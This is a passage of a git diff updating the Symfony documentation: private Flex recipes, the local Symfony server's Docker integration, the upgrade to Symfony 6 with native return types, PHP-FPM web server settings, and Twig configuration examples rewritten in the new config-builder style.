+The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's
+``bundles.php`` file for all environments. To load your bundle only for the
+``dev`` environment, replace ``"all"`` with ``"dev"``.
+
+The name of your recipe JSON file must conform to the following convention,
+where ``1.0`` is the version number of your bundle (replace ``acme`` and
+``private-bundle`` with your own private bundle or package details):
+
+    ``acme.private-bundle.1.0.json``
+
+You will probably also want ``symfony/flex`` to create configuration files for
+your bundle or package in the project's ``/config/packages`` directory. To do
+that, change the recipe JSON file as follows:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "acme/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
+                            "all"
+                        ]
+                    },
+                    "copy-from-recipe": {
+                        "config/": "%CONFIG_DIR%"
+                    }
+                },
+                "files": {
+                    "config/packages/acme_private.yaml": {
+                        "contents": [
+                            "acme_private:",
+                            "    encode: true",
+                            ""
+                        ],
+                        "executable": false
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+For more examples of what you can include in a recipe file, browse the
+`Symfony recipe files`_.
+
+Create an Index to the Recipes
+------------------------------
+
+The next step is to create an ``index.json`` file, which will contain entries
+for all your private recipes, and other general configuration information.
+
+The ``index.json`` file has the following format:
+
+.. code-block:: json
+
+    {
+        "recipes": {
+            "acme/private-bundle": [
+                "1.0"
+            ]
+        },
+        "branch": "master",
+        "is_contrib": true,
+        "_links": {
+            "repository": "github.com/your-github-account-name/your-recipes-repository",
+            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:master",
+            "recipe_template": "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/{package_dotted}.{version}.json"
+        }
+    }
+
+Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
+``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+Store Your Recipes in the Private Repository
+--------------------------------------------
+
+Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root
+directory of your private GitHub repository.
+
+Grant ``composer`` Access to the Private Repository
+---------------------------------------------------
+
+In your GitHub account, click your account icon in the top-right corner, select
+``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
+
+Generate a new access token with ``Full control of private repositories``
+privileges. Copy the access token value, switch to the terminal of your local
+computer, and execute the following command:
+
+.. code-block:: terminal
+
+    $ composer config --global --auth github-oauth.github.com [token]
+
+Replace ``[token]`` with the value of your GitHub personal access token.
+
+Configure Your Project's ``composer.json`` File
+-----------------------------------------------
+
+Add the following to your project's ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "extra": {
+            "symfony": {
+                "endpoint": [
+                    "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/index.json",
+                    "flex://defaults"
+                ]
+            }
+        }
+    }
+
+Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+.. tip::
+
+    The ``extra.symfony`` key will most probably already exist in your
+    ``composer.json``. In that case, add the ``"endpoint"`` key to the existing
+    ``extra.symfony`` entry.
+
+.. tip::
+
+    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
+    **not** to ``https://www.github.com``.
+
+Install the Recipes in Your Project
+-----------------------------------
+
+If your private bundles/packages have not yet been installed in your project,
+run the following command:
+
+.. code-block:: terminal
+
+    $ composer update
+
+If the private bundles/packages have already been installed and you just want to
+install the new private recipes, run the following command:
+
+.. code-block:: terminal
+
+    $ composer recipes
+
+.. _`release of version 1.16`: https://github.com/symfony/cli
+.. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main
+
diff --git a/setup/homestead.rst b/setup/homestead.rst
index d9526949b55..7143b5adeae 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -58,7 +58,9 @@ Homestead now supports a Symfony 2 and 3 web layout with ``app.php`` and
 using type ``symfony4``.
 
 At last, edit the hosts file on your local machine to map ``symfony-demo.test``
-to ``192.168.10.10`` (which is the IP used by Homestead)::
+to ``192.168.10.10`` (which is the IP used by Homestead):
+
+.. code-block:: text
 
     # /etc/hosts (unix) or C:\Windows\System32\drivers\etc\hosts (Windows)
     192.168.10.10 symfony-demo.test
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 0f4d88904d6..173e065cced 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -64,8 +64,8 @@ Enabling PHP-FPM
 
     PHP-FPM must be installed locally for the Symfony server to utilize.
 
-When the server starts it will check for common patterns like ``web/app.php``,
-``web/app_dev.php`` or ``public/index.php``. If a file like this is found the
+When the server starts, it checks for ``web/index_dev.php``, ``web/index.php``,
+``public/app_dev.php``, ``public/app.php`` in that order. If one is found, the
 server will automatically start with PHP-FPM enabled. Otherwise the server will
 start without PHP-FPM and will show a ``Page not found`` page when trying to
 access a ``.php`` file in the browser.
@@ -114,10 +114,10 @@ root directory:
     $ cd my-project/
 
     # use a specific PHP version
-    $ echo 7.2 > .php-version
+    $ echo 7.4 > .php-version
 
-    # use any PHP 7.x version available
-    $ echo 7 > .php-version
+    # use any PHP 8.x version available
+    $ echo 8 > .php-version
 
 .. tip::
 
@@ -275,15 +275,20 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
+.. _symfony-server-docker:
+
 Docker Integration
 ------------------
 
 The local Symfony server provides full `Docker`_ integration for projects that
-use it.
+use it. To learn more about Docker & Symfony, see :doc:`docker`.
 
 When the web server detects that Docker Compose is running for the project, it
-automatically exposes environment variables according to the exposed port and
-the name of the ``docker-compose`` services.
+automatically exposes some environment variables.
+
+Via the ``docker-compose`` API, it looks for exposed ports used for common
+services. When it detects one it knows about, it uses the service name to
+expose environment variables.
 
 Consider the following configuration:
 
@@ -299,6 +304,9 @@ project. It understands that this is a MySQL service and creates environment
 variables accordingly with the service name (``database``) as a prefix:
 ``DATABASE_URL``, ``DATABASE_HOST``, ...
 
+If the service is not in the supported list below, generic environment
+variables are set: ``PORT``, ``IP``, and ``HOST``.
+
 If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
@@ -333,6 +341,7 @@ Kafka         9092      ``KAFKA_``
 MailCatcher   1025/1080 ``MAILER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
+Mercure       80        Always exposes ``MERCURE_PUBLIC_URL`` and ``MERCURE_URL`` (only works with the ``dunglas/mercure`` Docker image)
 ============= ========= ======================
 
 You can open web management interfaces for the services that expose them:
@@ -347,7 +356,7 @@ Or click on the links in the "Server" section of the web debug toolbar.
 .. tip::
 
     To debug and list all exported environment variables, run ``symfony
-    var:export``.
+    var:export --debug``.
 
 .. tip::
 
@@ -361,6 +370,20 @@ When Docker services are running, browse a page of your Symfony application and
 check the "Symfony Server" section in the web debug toolbar; you'll see that
 "Docker Compose" is "Up".
 
+.. note::
+
+    If you don't want environment variables to be exposed for a service, set
+    the ``com.symfony.server.service-ignore`` label to ``true``:
+
+    .. code-block:: yaml
+
+        # docker-compose.yaml
+        services:
+            db:
+                ports: [3306]
+                labels:
+                    com.symfony.server.service-ignore: true
+
 If your Docker Compose file is not at the root of the project, use the
 ``COMPOSE_FILE`` and ``COMPOSE_PROJECT_NAME`` environment variables to define
 its location, same as for ``docker-compose``:
diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 27036493fd4..6b30a0f785b 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -8,7 +8,7 @@ Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
 
-Suppose that the Symfony 4.0 version hasn't been released yet and you want to create
+Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
 run the following command:
@@ -24,7 +24,7 @@ in the ``my_project/`` directory.
 Upgrading your Project to an Unstable Symfony Version
 -----------------------------------------------------
 
-Suppose again that Symfony 4.0 hasn't been released yet and you want to upgrade
+Suppose again that Symfony 5.4 hasn't been released yet and you want to upgrade
 an existing application to test that your project works with it.
 
 First, open the ``composer.json`` file located in the root directory of your
@@ -33,18 +33,18 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 .. code-block:: diff
 
-    {
-        "require": {
-    +         "symfony/framework-bundle": "^4.0",
-    +         "symfony/finder": "^4.0",
-            "...": "..."
-        },
+      {
+          "require": {
+    +         "symfony/framework-bundle": "^5.4",
+    +         "symfony/finder": "^5.4",
+              "...": "..."
+          },
     +     "minimum-stability": "beta"
-    }
+      }
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
-like ``4.0.*@beta``.
+like ``5.4.*@beta``.
 
 Finally, from a terminal, update your project's dependencies:
 
@@ -68,7 +68,7 @@ Symfony version has deprecated some of its features.
         $ cd projects/my_project/
         $ git checkout -b testing_new_symfony
         # ... update composer.json configuration
-        $ composer update symfony/symfony
+        $ composer update "symfony/*"
 
         # ... after testing the new Symfony version
         $ git checkout master
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 89f80ae109f..f2cffe9679c 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Major Version
 
-Upgrading a Major Version (e.g. 4.4.0 to 5.0.0)
+Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
 ===============================================
 
 Every two years, Symfony releases a new major version release (the first number
@@ -30,12 +30,12 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions,
 classes, etc) code still works, but is marked as *deprecated*, indicating that
 it will be removed/changed in the future and that you should stop using it.
 
-When the major version is released (e.g. 5.0.0), all deprecated features and
+When the major version is released (e.g. 6.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
-``4.4.*``), you should be able to upgrade without a problem. That means that
+``5.4.*``), you should be able to upgrade without a problem. That means that
 you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>`
-(e.g. 4.4) so that you can see *all* the deprecations.
+(e.g. 5.4) so that you can see *all* the deprecations.
 
 To help you find deprecations, notices are triggered whenever you end up
 using a deprecated feature. When visiting your application in the
@@ -95,10 +95,16 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
+.. caution::
+
+    You will probably see many deprecations about incompatible native
+    return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
+    for guidance in fixing these deprecations.
+
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
-    in 4.4 and you still need to support 4.3). In these cases, you can still
+    in 5.4 and you still need to support 5.3). In these cases, you can still
     use the bridge to fix as many deprecations as possible and then allow
     more of them to make your tests pass again. You can do this by using the
     ``SYMFONY_DEPRECATIONS_HELPER`` env variable:
@@ -131,40 +137,40 @@ starting with ``symfony/`` to the new major version:
 
 .. code-block:: diff
 
-    {
-        "...": "...",
-
-        "require": {
-    -         "symfony/cache": "4.4.*",
-    +         "symfony/cache": "5.0.*",
-    -         "symfony/config": "4.4.*",
-    +         "symfony/config": "5.0.*",
-    -         "symfony/console": "4.4.*",
-    +         "symfony/console": "5.0.*",
-            "...": "...",
-
-            "...": "A few libraries starting with
-                    symfony/ follow their own versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+      {
+          "...": "...",
+
+          "require": {
+    -         "symfony/cache": "5.4.*",
+    +         "symfony/cache": "6.0.*",
+    -         "symfony/config": "5.4.*",
+    +         "symfony/config": "6.0.*",
+    -         "symfony/console": "5.4.*",
+    +         "symfony/console": "6.0.*",
+              "...": "...",
+
+              "...": "A few libraries starting with
+                      symfony/ follow their own versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
+this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "allow-contrib": false,
-    -       "require": "4.4.*"
-    +       "require": "5.0.*"
-        }
-    }
+      "extra": {
+          "symfony": {
+              "allow-contrib": false,
+    -       "require": "5.4.*"
+    +       "require": "6.0.*"
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 
@@ -186,3 +192,128 @@ Next, use Composer to download new versions of the libraries:
 In some rare situations, the next major version *may* contain backwards-compatibility
 breaks. Make sure you read the ``UPGRADE-X.0.md`` (where X is the new major version)
 included in the Symfony repository for any BC break that you need to be aware of.
+
+.. _upgrading-native-return-types:
+
+Upgrading to Symfony 6: Add Native Return Types
+-----------------------------------------------
+
+.. versionadded:: 5.4
+
+    The return-type checking and fixing features were introduced in Symfony 5.4.
+
+Symfony 6 will come with native PHP return types to (almost all) methods.
+
+In PHP, if the parent has a return type declaration, any class implementing
+or overriding the method must have the return type as well. However, you
+can add a return type before the parent adds one. This means that it is
+important to add the native PHP return types to your classes before
+upgrading to Symfony 6.0. Otherwise, you will get incompatible declaration
+errors.
+
+When debug mode is enabled (typically in the dev and test environment),
+Symfony will trigger deprecations for every incompatible method
+declarations. For instance, the ``UserInterface::getRoles()`` method will
+have an ``array`` return type in Symfony 6. In Symfony 5.4, you will get a
+deprecation notice about this and you must add the return type declaration
+to your ``getRoles()`` method.
+
+To help with this, Symfony provides a script that can add these return
+types automatically for you. Make sure you installed the ``symfony/error-handler``
+component. When installed, generate a complete class map using Composer and
+run the script to iterate over the class map and fix any incompatible
+method:
+
+.. code-block:: terminal
+
+    # Make sure "exclude-from-classmap" is not filled in your "composer.json". Then dump the autoloader:
+
+    # "-o" is important! This forces Composer to find all classes
+    $ composer dump-autoload -o
+
+    # patch all incompatible method declarations
+    $ ./vendor/bin/patch-type-declarations
+
+.. tip::
+
+    This feature is not limited to Symfony packages. It will also help you
+    add types and prepare for other dependencies in your project.
+
+The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
+env var. The value of this env var is url-encoded (e.g.
+``param1=value2&param2=value2``), the following parameters are available:
+
+``force``
+    Enables fixing return types, the value must be one of:
+
+    * ``2`` to add all possible return types (default, recommended for applications);
+    * ``1`` to add return types only to tests, final, internal or private methods;
+    * ``phpdoc`` to only add ``@return`` docblock annotations to the incompatible
+      methods, or ``#[\ReturnTypeWillChange]`` if it's triggered by the PHP engine.
+
+``php``
+    The target version of PHP - e.g. ``7.1`` doesn't generate "object"
+    types (which were introduced in 7.2). This defaults to the PHP version
+    used when running the script.
+
+``deprecations``
+    Set to ``0`` to disable deprecations. Otherwise, a deprecation notice
+    when a child class misses a return type while the parent declares an
+    ``@return`` annotation (defaults to ``1``).
+
+If there are specific files that should be ignored, you can set the
+``SYMFONY_PATCH_TYPE_EXCLUDE`` env var to a regex. This regex will be
+matched to the full path to the class and each matching path will be
+ignored (e.g. ``SYMFONY_PATCH_TYPE_EXCLUDE="/tests\/Fixtures\//"``).
+Classes in the ``vendor/`` directory are always ignored.
+
+.. tip::
+
+    The script does not care about code style. Run your code style fixer,
+    or `PHP CS Fixer`_ with the ``phpdoc_trim_consecutive_blank_line_separation``,
+    ``no_superfluous_phpdoc_tags`` and ``ordered_imports`` rules, after
+    patching the types.
+
+.. _patching-types-for-open-source-maintainers:
+
+.. sidebar:: Patching Types for Open Source Maintainers
+
+    Open source bundles and packages need to be more cautious with adding
+    return types, as adding a return type forces all users extending the
+    class to add the return type as well. The recommended approach is to
+    use a 2 step process:
+
+    1. First, create a minor release (i.e. without backwards compatibility
+       breaks) where you add types that can be safely introduced and add
+       ``@return`` PHPDoc to all other methods:
+
+       .. code-block:: terminal
+
+           # Add type declarations to all internal, final, tests and private methods.
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=1&php=7.4" ./vendor/bin/patch-type-declarations
+
+           # Add PHPDoc to the leftover public and protected methods
+           $ SYMFONY_DEPRECATIONS_HELPER="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
+
+       After running the scripts, check your classes and add more ``@return``
+       PHPDoc where they are missing. The deprecations and patch script
+       work purely based on the PHPDoc information. Users of this release
+       will get deprecation notices telling them to add the missing return
+       types from your package to their code.
+
+       If you didn't need any PHPDoc and all your method declarations are
+       already compatible with Symfony, you can safely allow ``^6.0`` for
+       the Symfony dependencies. Otherwise, you have to continue with (2).
+
+    2. Create a new major release (i.e. *with* backwards compatibility
+       breaks) where you add types to all methods:
+
+       .. code-block:: terminal
+
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=2&php=7.4" ./vendor/bin/patch-type-declarations
+
+       Now, you can safely allow ``^6.0`` for the Symfony dependencies.
+
+.. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 09a88124fa8..09508c0469d 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -28,39 +28,39 @@ probably need to update the version constraint next to each library starting
 
 .. code-block:: diff
 
-    {
-        "...": "...",
+      {
+          "...": "...",
 
-        "require": {
+          "require": {
     -         "symfony/cache": "4.3.*",
     +         "symfony/cache": "4.4.*",
     -         "symfony/config": "4.3.*",
     +         "symfony/config": "4.4.*",
     -         "symfony/console": "4.3.*",
     +         "symfony/console": "4.4.*",
-            "...": "...",
+              "...": "...",
 
-            "...": "A few libraries starting with
-                    symfony/ follow their versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+              "...": "A few libraries starting with
+                      symfony/ follow their own versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 Your ``composer.json`` file should also have an ``extra`` block that you will
 *also* need to update:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "...": "...",
+      "extra": {
+          "symfony": {
+              "...": "...",
     -         "require": "4.3.*"
     +         "require": "4.4.*"
-        }
-    }
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e4fef9b3d99..70abd214a42 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -127,6 +127,7 @@ and increase web server performance:
         # which will allow Apache to return a 404 error when files are
         # not found instead of passing the request to Symfony
         <Directory /var/www/project/public/bundles>
+            DirectoryIndex disabled
             FallbackResource disabled
         </Directory>
         ErrorLog /var/log/apache2/project_error.log
@@ -176,7 +177,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.1-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -191,7 +192,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.1-fpm.sock
+    listen = /var/run/php/php7.4-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -289,7 +290,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.1-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
 
 .. _web-server-nginx:
 
@@ -317,7 +318,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -333,6 +334,9 @@ The **minimum configuration** to get your application running under Nginx is:
             # Otherwise, PHP's OPcache may not properly detect changes to
             # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
             # for more information).
+            # Caveat: When PHP-FPM is hosted on a different machine from nginx
+            #         $realpath_root may not resolve as you expect! In this case try using
+            #         $document_root instead.
             fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
             fastcgi_param DOCUMENT_ROOT $realpath_root;
             # Prevents URIs that include the front controller. This will 404:
diff --git a/templates.rst b/templates.rst
index eda99bbbf55..e25bcb790f1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -118,8 +118,8 @@ Template Naming
 
 Symfony recommends the following for template names:
 
-* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.twig``,
-  ``admin/default_theme/blog/index.twig``, etc.);
+* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.html.twig``,
+  ``admin/default_theme/blog/index.html.twig``, etc.);
 * Define two extensions for filenames (e.g. ``index.html.twig`` or
   ``blog_posts.xml.twig``) being the first extension (``html``, ``xml``, etc.)
   the final format that the template will generate.
@@ -164,7 +164,9 @@ in the following order:
 #. ``$foo->getBar()`` (object and *getter* method);
 #. ``$foo->isBar()`` (object and *isser* method);
 #. ``$foo->hasBar()`` (object and *hasser* method);
-#. If none of the above exists, use ``null``.
+#. If none of the above exists, use ``null`` (or throw a ``Twig\Error\RuntimeError``
+   exception if the :ref:`strict_variables <config-twig-strict-variables>`
+   option is enabled).
 
 This allows to evolve your application code without having to change the
 template code (you can start with array variables for the application proof of
@@ -214,6 +216,30 @@ Consider the following routing configuration:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        // ...
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/', name: 'blog_index')]
+            public function index(): Response
+            {
+                // ...
+            }
+
+            #[Route('/article/{slug}', name: 'blog_post')]
+            public function show(string $slug): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -487,6 +513,9 @@ provided by Symfony:
                 # the path of the template to render
                 template:  'static/privacy.html.twig'
 
+                # the response status code (default: 200)
+                statusCode: 200
+
                 # special options defined by Symfony to set the page cache
                 maxAge:    86400
                 sharedAge: 86400
@@ -513,6 +542,9 @@ provided by Symfony:
                 <!-- the path of the template to render -->
                 <default key="template">static/privacy.html.twig</default>
 
+                <!-- the response status code (default: 200) -->
+                <default key="statusCode">200</default>
+
                 <!-- special options defined by Symfony to set the page cache -->
                 <default key="maxAge">86400</default>
                 <default key="sharedAge">86400</default>
@@ -541,6 +573,9 @@ provided by Symfony:
                     // the path of the template to render
                     'template'  => 'static/privacy.html.twig',
 
+                    // the response status code (default: 200)
+                    'statusCode' => 200,
+
                     // special options defined by Symfony to set the page cache
                     'maxAge'    => 86400,
                     'sharedAge' => 86400,
@@ -561,6 +596,10 @@ provided by Symfony:
 
     The ``context`` option was introduced in Symfony 5.1.
 
+.. versionadded:: 5.4
+
+    The ``statusCode`` option was introduced in Symfony 5.4.
+
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -569,11 +608,14 @@ also provides a method to check for template existence. First, get the loader::
 
     use Twig\Environment;
 
-    // this code assumes that your service uses autowiring to inject dependencies
-    // otherwise, inject the service called 'twig' manually
-    public function __construct(Environment $twig)
+    class YourService
     {
-        $loader = $twig->getLoader();
+        // this code assumes that your service uses autowiring to inject dependencies
+        // otherwise, inject the service called 'twig' manually
+        public function __construct(Environment $twig)
+        {
+            $loader = $twig->getLoader();
+        }
     }
 
 Then, pass the path of the Twig template to the ``exists()`` method of the loader::
@@ -607,6 +649,17 @@ errors. It's useful to run it before deploying your application to production
     # you can also show the deprecated features used in your templates
     $ php bin/console lint:twig --show-deprecations templates/email/
 
+When running the linter inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:twig --format=github
+
+.. versionadded:: 5.4
+
+    The ``github`` output format was introduced in Symfony 5.4.
+
 Inspecting Twig Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -822,10 +875,12 @@ template fragments. Configure that special URL in the ``fragments`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()->path('/_fragment');
+        };
 
 .. caution::
 
@@ -1041,15 +1096,16 @@ the ``value`` is the Twig namespace, which is explained later:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // directories are relative to the project root dir (but you
-                // can also use absolute directories)
-                'email/default/templates' => null,
-                'backend/templates' => null,
-            ],
-        ]);
+
+            // directories are relative to the project root dir (but you
+            // can also use absolute directories)
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', null);
+        };
 
 When rendering a template, Symfony looks for it first in the ``twig.paths``
 directories that don't define a namespace and then falls back to the default
@@ -1096,13 +1152,14 @@ configuration to define a namespace for each template directory:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => 'email',
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', 'email');
+            $twig->path('backend/templates', 'admin');
+        };
 
 Now, if you render the ``layout.html.twig`` template, Symfony will render the
 ``templates/layout.html.twig`` file. Use the special syntax ``@`` + namespace to
@@ -1154,3 +1211,4 @@ Learn more
 .. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 2e2c841812c..bd8342fed8e 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -39,12 +39,13 @@ main Twig configuration file:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'ga_tracking' => 'UA-xxxxx-x',
-            ],
-        ]);
+
+            $twig->global('ga_tracking')->value('UA-xxxxx-x');
+        };
 
 Now, the variable ``ga_tracking`` is available in all Twig templates, so you
 can use it without having to pass it explicitly from the controller or service
@@ -91,19 +92,21 @@ the ``@`` character, which is the usual syntax to
 
             <twig:config>
                 <!-- ... -->
-                <twig:global key="uuid">@App\Generator\UuidGenerator</twig:global>
+                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
             </twig:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'uuid' => '@App\Generator\UuidGenerator',
-            ],
-        ]);
+
+            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
+        };
 
 Now you can use the ``uuid`` variable in any Twig template to access to the
 ``UuidGenerator`` service:
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index eed8f09b5e7..3a117148983 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -60,12 +60,14 @@ default content rendering some template:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => [
-                'hinclude_default_template' => 'hinclude.html.twig',
-            ],
-        ]);
+            $framework->fragments()
+                ->hincludeDefaultTemplate('hinclude.html.twig')
+            ;
+        };
 
 You can define default templates per ``render()`` function (which will override
 any global default template that is defined):
@@ -88,7 +90,7 @@ Use the ``attributes`` option to define the value of hinclude.js options:
 
     {# by default, cross-site requests don't use credentials such as cookies, authorization
        headers or TLS client certificates; set this option to 'true' to use them #}
-    {{ render_hinclude(controller('...'), {attributes: {data-with-credentials: 'true'}}) }}
+    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
 
     {# by default, the JavaScript code included in the loaded contents is not run;
        set this option to 'true' to run that JavaScript code #}
diff --git a/testing.rst b/testing.rst
index ead9a1a702b..a70857dc0ee 100644
--- a/testing.rst
+++ b/testing.rst
@@ -11,598 +11,585 @@ using both functional and unit tests.
 The PHPUnit Testing Framework
 -----------------------------
 
-Symfony integrates with an independent library called `PHPUnit`_ to give you a
-rich testing framework. This article won't cover PHPUnit itself, which has its
-own excellent `documentation`_.
+Symfony integrates with an independent library called `PHPUnit`_ to give
+you a rich testing framework. This article won't cover PHPUnit itself,
+which has its own excellent `documentation`_.
 
-Before creating your first test, install the `PHPUnit Bridge component`_, which
-wraps the original PHPUnit binary to provide additional features:
